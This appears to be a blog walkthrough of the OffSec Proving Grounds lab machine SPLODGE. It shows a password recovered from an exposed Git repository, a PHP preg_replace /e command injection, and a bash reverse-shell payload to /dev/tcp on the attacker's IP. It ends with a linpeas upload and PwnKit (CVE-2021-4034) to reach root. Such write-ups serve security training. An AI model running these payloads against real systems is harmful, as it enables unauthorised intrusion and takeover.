Skip to main content
  1. Posts/

OFFSEC - Proving Grounds - SPLODGE

·2045 words·10 mins·
OFFSEC PG PRACTICE GIT GIT-DUMPER PYTHON_VIRTUAL_ENVIRONMENT PREG_REPLACE PWNKIT
Table of Contents

Summary
#

On port 80 there is a Git repository we download locally with git-dumper and find a password. Using this password we login the admin panel on port 8080. On this panel the is a profanity replacement form which allows for a command execution preg_replace exploit and results in getting initial access. Once on the target we find it vulnerable for pwnkit (CVE-2021-4034), we use this to escalate our privileges to the root user.

Specifications
#

  • Name: SPLODGE
  • Platform: PG PRACTICE
  • Points: 20
  • Difficulty: Intermediate
  • System overview: Linux splodge 3.10.0-1127.19.1.el7.x86_64 #1 SMP Tue Aug 25 17:23:54 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
  • IP address: 192.168.106.108
  • OFFSEC provided credentials: None
  • HASH: local.txt:3c41f3a4a58576e48fafb7ec49517550
  • HASH: proof.txt:2b7f76694ad543eaf2750059d9e6186a

Preparation
#

First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:

## create directory structure
mkdir splodge && cd splodge && mkdir enum files exploits uploads tools

## list directory
ls -la

total 28
drwxrwxr-x  7 kali kali 4096 Oct  5 09:02 .
drwxrwxr-x 82 kali kali 4096 Oct  5 09:02 ..
drwxrwxr-x  2 kali kali 4096 Oct  5 09:02 enum
drwxrwxr-x  2 kali kali 4096 Oct  5 09:02 exploits
drwxrwxr-x  2 kali kali 4096 Oct  5 09:02 files
drwxrwxr-x  2 kali kali 4096 Oct  5 09:02 tools
drwxrwxr-x  2 kali kali 4096 Oct  5 09:02 uploads

## set bash variable
ip=192.168.106.108

## ping target to check if it's online
ping $ip

PING 192.168.106.108 (192.168.106.108) 56(84) bytes of data.
64 bytes from 192.168.106.108: icmp_seq=1 ttl=61 time=18.0 ms
64 bytes from 192.168.106.108: icmp_seq=2 ttl=61 time=20.4 ms
^C
--- 192.168.106.108 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 17.964/19.159/20.354/1.195 ms

Reconnaissance
#

Portscanning
#

Using Rustscan we can see what TCP ports are open. This tool is part of my default portscan flow.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
Git repository on port 80 yields password via git-dumper. Login to admin panel on 8080, exploit preg_replace for initial access. Use pwnkit (CVE-2021-4034) to get root.
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
TreadStone was here 🚀

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.106.108:22
Open 192.168.106.108:80
Open 192.168.106.108:1337
Open 192.168.106.108:5432
Open 192.168.106.108:8080
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-05 09:07 CEST
Initiating Ping Scan at 09:07
Scanning 192.168.106.108 [4 ports]
Completed Ping Scan at 09:07, 0.04s elapsed (1 total hosts)Git repository on port 80 yields password via git-dumper. Login to admin panel on 8080, exploit preg_replace for initial access. Use pwnkit (CVE-2021-4034) to get root.
Initiating Parallel DNS resolution of 1 host. at 09:07
Completed Parallel DNS resolution of 1 host. at 09:07, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 09:07
Scanning 192.168.106.108 [5 ports]
Discovered open port 22/tcp on 192.168.106.108
Discovered open port 8080/tcp on 192.168.106.108
Discovered open port 80/tcp on 192.168.106.108
Discovered open port 5432/tcp on 192.168.106.108
Discovered open port 1337/tcp on 192.168.106.108
Completed SYN Stealth Scan at 09:07, 0.06s elapsed (5 total ports)
Nmap scan report for 192.168.106.108
Host is up, received echo-reply ttl 61 (0.019s latency).
Scanned at 2025-10-05 09:07:14 CEST for 0s

PORT     STATE SERVICE    REASON
22/tcp   open  ssh        syn-ack ttl 61
80/tcp   open  http       syn-ack ttl 61
1337/tcp open  waste      syn-ack ttl 61
5432/tcp open  postgresql syn-ack ttl 61
8080/tcp open  http-proxy syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds
           Raw packets sent: 9 (372B) | Rcvd: 6 (248B)

Copy the output of open ports into a file called ports within the files directory.

## edit the ``files/ports` file
nano files/ports

## content `ports` file:
22/tcp   open  ssh        syn-ack ttl 61
80/tcp   open  http       syn-ack ttl 61
1337/tcp open  waste      syn-ack ttl 61
5432/tcp open  postgresql syn-ack ttl 61
8080/tcp open  http-proxy syn-ack ttl 61

Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:

## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..

## output previous command
22,80,1337,5432,8080

## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,80,1337,5432,8080 -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT     STATE SERVICE    REASON         VERSION
22/tcp   open  ssh        syn-ack ttl 61 OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 43:77:53:46:f8:78:c6:cb:c4:c6:b5:f2:61:2a:64:13 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPwvufh9SVq1esIL7otDp06DD4IT3lXLNsiufWRGWZwSq8BB+29e4wiJnBQfAiQFF/dNt5p27eJzYa+OYewPk7Zit35SAICkvHV3NA/zI4pax4JRd5AHM+zroHUcV6SqwX+rd531CPzaAb8Xaak//bMLeNKq2c1JZQeoaYmfbn+Td7ta84bxvT8espah5VcbAem7pave8aO9tPiUbwyv7XcuRQjvka6rpP5PEtsfjV9lZpUySf+aBqCo+pLsiSwKo5TvfZgPWKdy1t+22AxBN9RRdOjL+sUuebhpeFVIJvSdbUZHzadBHKGP3UrBJiJTt4f6ZAPZ0K8u2DVYayc82j
|   256 a5:b4:45:1f:eb:10:ac:1d:fc:64:de:4b:87:ed:7d:ca (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLLwdPpjO1Ei905tBE6MjbWXmZ184WFpsIrIoICi912YeOtl1bIhE4MKxi9XmFXsiHUfzF+XGVju5DJn6PedwXc=
|   256 44:7c:68:45:db:3d:45:9b:ec:7c:0d:94:6b:9e:31:f5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEu69xrp39qFb1fQ53wr0mHcTOIZlr2Lvez7PabGgwdS
80/tcp   open  http       syn-ack ttl 61 nginx 1.16.1
|_http-server-header: nginx/1.16.1
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-title: 403 Forbidden
| http-git: 
|   192.168.106.108:80/.git/
|     Git repository found!
|     .git/config matched patterns 'user'
|     .gitignore matched patterns 'bug' 'key'
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|     Last commit message: initial commit 
|_    Project type: node.js application (guessed from .gitignore)
1337/tcp open  http       syn-ack ttl 61 nginx 1.16.1
|_http-title: Commando
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.16.1
5432/tcp open  postgresql syn-ack ttl 61 PostgreSQL DB 9.6.0 or later
8080/tcp open  http       syn-ack ttl 61 nginx 1.16.1
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
|_http-server-header: nginx/1.16.1
|_http-title: Splodge | Home

Initial Access
#

80/tcp   open  http       syn-ack ttl 61 nginx 1.16.1
|_http-server-header: nginx/1.16.1
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-title: 403 Forbidden
| http-git: 
|   192.168.106.108:80/.git/
|     Git repository found!
|     .git/config matched patterns 'user'
|     .gitignore matched patterns 'bug' 'key'
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|     Last commit message: initial commit 
|_    Project type: node.js application (guessed from .gitignore)

8080/tcp open  http       syn-ack ttl 61 nginx 1.16.1
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
|_http-server-header: nginx/1.16.1
|_http-title: Splodge | Home

As shown in the NMAP output there is a Git repository on port 80. Using git-dumper (https://github.com/arthaud/git-dumper) to dump the entire Git repository, locally. But we first need to install this tool using Python virtual environment. Once in the dumped Git repository, we search for password in all files and indeed find a password: SplodgeSplodgeSplodge.

## change directory
cd tools

## clone `https://github.com/arthaud/git-dumper`
git clone https://github.com/arthaud/git-dumper.git

## change directory
cd git-dumper  

## create a python virtual environment
python3 -m venv venv

## activate the environment
source venv/bin/activate

## install requirements
pip3 install -r requirements.txt

## make a directory for the Git repository
mkdir output_dumper 

## dump the Git repository in the `output_dumper` directory
./git_dumper.py http://$ip/.git output_dumper

## change directory
cd output_dumper

## search for `password`
grep -rni "password" .
<SNIP>
./database/seeds/DatabaseSeeder.php:30:            'password' => 'SplodgeSplodgeSplodge'
<SNIP>

On port 8080 there is a website called Splodge.

On this page there is a ADMIN link. Clicking on this button we get a login form. Trying the found password with a default user like admin gives us access to the admin panel. Used credentials: admin:SplodgeSplodgeSplodge.

Here is a panel showing the Regex to find profanity and replace it with some text. Searching online, we can find: https://captainnoob.medium.com/command-execution-preg-replace-php-function-exploit-62d6f746bda4, a command execution preg_replace RCE. So, let’s try this. Let’s try to ping ourselves.

## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.169

## setup ICMP listener
sudo tcpdump -i tun0 icmp                                                    
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes

In PHP the /e in preg_replace() is a pattern delimiter flag that causes the replacement string to be dynamically evaluated and executed as PHP code for each matched substring in the input. So we can search for the string hekkand give a replacement command ( system('ping -c 1 192.168.45.169');) to be executed. The Admin Panel Password is our found password SplodgeSplodgeSplodge. Click on UPDATE to update the profanity filter.

Now we only need to post a profanity named hekk. So, go to home, open the Hello World! post and add a post with the hekk string and click on Post.

We indeed get a ping back.

sudo tcpdump -i tun0 icmp                                                    
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
10:01:47.531820 IP 192.168.106.108 > 192.168.45.169: ICMP echo request, id 12636, seq 1, length 64
10:01:47.531853 IP 192.168.45.169 > 192.168.106.108: ICMP echo reply, id 12636, seq 1, length 64

Using this method we can now get initial access as the nginx user in the /usr/share/nginx/html/public directory using this profanity replacement string system('bash -i >& /dev/tcp/192.168.45.169/8080 0>&1');. After setting up a netcat listener we trigger the profanity filter by adding a new post.

## setup a listener on an already open port
nc -lvnp 8080
listening on [any] 8080 ...

## catch the reverse shell
nc -lvnp 8080
listening on [any] 8080 ...
connect to [192.168.45.169] from (UNKNOWN) [192.168.106.108] 48728
bash: no job control in this shell
bash-4.2$ 

## print current user
bash-4.2$ whoami
whoami
nginx

## print the current working directory
bash-4.2$ pwd
pwd
/usr/share/nginx/html/public

## find `local.txt` on the filesystem
bash-4.2$ find / -iname 'local.txt' 2>/dev/null
find / -iname 'local.txt' 2>/dev/null
/home/thesplodge/local.txt

## print `local.txt`
bash-4.2$ cat /home/thesplodge/local.txt
cat /home/thesplodge/local.txt
3c41f3a4a58576e48fafb7ec49517550

Privilege Escalation
#

To get a proper TTY we upgrade our shell using the python binary.

## determine location python binary
find / -iname 'python' 2>/dev/null
/etc/python
/usr/bin/python
/usr/share/gcc-4.8.2/python

## start the python binary, after that press CTRL+Z
/usr/bin/python -c 'import pty; pty.spawn("/bin/bash")'

## after this command press the `enter` key twice
stty raw -echo ; fg ; reset

## run the following to be able to clear the screen and set the terrminal correct
export TERM=xterm && stty columns 200 rows 200

Now, upload linpeas.sh to the target and run it.

## change directory locally
cd uploads

## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.169

## start local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

## on target
## change directory
bash-4.2$ cd /var/tmp
bash-4.2$ 

## download `linpeas.sh`
bash-4.2$ wget http://192.168.45.169/linpeas.sh
--2025-10-05 04:53:07--  http://192.168.45.169/linpeas.sh
Connecting to 192.168.45.169:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 964554 (942K) [text/x-sh]
Saving to: 'linpeas.sh'

 0% [                                                                                                                                                  100%[==============================================================================================================================================================>] 964,554     4.91MB/s   in 0.2s   

2025-10-05 04:53:07 (4.91 MB/s) - 'linpeas.sh' saved [964554/964554]

## set the execution bit
bash-4.2$ chmod +x linpeas.sh 

## run `linpeas.sh`
bash-4.2$ ./linpeas.sh

The linpeas.sh output shows the target could be vulnerable for pwnkit (CVE-2021-4034). Now, let’s download the exploit, upload to the target and run it to escalate our privileges to root.

## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.169

## change directory
cd uploads

## download `pwnkit`
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o pwnkit

## start local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

## in target:
## download `pwnkit`
bash-4.2$ wget http://192.168.45.169/pwnkit
--2025-10-05 05:05:34--  http://192.168.45.169/pwnkit
Connecting to 192.168.45.169:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18040 (18K) [application/octet-stream]
Saving to: 'pwnkit.1'

 0% [                                                                                                                                                  100%[==============================================================================================================================================================>] 18,040      --.-K/s   in 0.02s   

2025-10-05 05:05:34 (981 KB/s) - 'pwnkit.1' saved [18040/18040]

## set execution bit on `pwnkit`
bash-4.2$ chmod +x pwnkit 

## execute `pwnkit`
bash-4.2$ ./pwnkit 
[root@splodge tmp]# 

## print `proof.txt`
[root@splodge tmp]# cat /root/proof.txt
2b7f76694ad543eaf2750059d9e6186a

References
#

[+] https://github.com/arthaud/git-dumper
[+] https://captainnoob.medium.com/command-execution-preg-replace-php-function-exploit-62d6f746bda4
[+] https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
[+] https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit

Related

OFFSEC - Proving Grounds - BITFORGE
·4120 words·20 mins
OSCP OFFSEC PG PRACTICE SIMPLE ONLINE PLANNING GIT GIT-DUMPER MYSQL PSPY FLASK
Git on port 80 leaks MySQL credentials. RCE in Simple Planning v1.52.01 for initial access, with pspy64 find jack’s credentials and changing flask script escalates to root.
OFFSEC - Proving Grounds - BUNYIP
·3095 words·15 mins
OFFSEC PG PRACTICE PWNKIT
S3cur3 r3pl application on port 8000 is vulnerable to MD5 length extension, exploiting this gives initial access. Pwnkit (CVE-2021-4034) escalates to root.
OFFSEC - Proving Grounds - SPAGHETTI
·2624 words·13 mins
OFFSEC PG PRACTICE IRC PYBOT PWNKIT
IRC server on port 6667, message to bot gives access to source code. Analyzing code gives code exeecution and initial access. Pwnkit exploit used to escalate to root.
OFFSEC - Proving Grounds - PEPPO
·1634 words·8 mins
OFFSEC PG PRACTICE IDENT-USER-ENUM RBASH ED PWNKIT
Ident on port 113 reveals process owner eleanor on port 10000. SSH access via weak credentials to get initial access in rbash, escape rbash using ed, set PATH and exploit pwnkit (CVE-2021-4034) to gain root.
OFFSEC - Proving Grounds - PHOBOS
·2992 words·15 mins
OFFSEC PG PRACTICE GOBUSTER SVN BURP PWNKIT MONGODB PYMONGO
Find svn directory on port 80, enumerate logs for hostname. Register user and exploit code for LFI/RCE and initial access, use pwnkit (CVE-2021-4034) or crack root SHA-512 from MongoDB to escalate to root.
OFFSEC - Proving Grounds - BLACKGATE
·1478 words·7 mins
OSCP OFFSEC PG PRACTICE REDIS PWNKIT
Redis 4.0.14 on port 6379 exploited for initial access. linpeas.sh reveals pwnkit vulnerability (CVE-2021-4034) which leads to privilege escalation.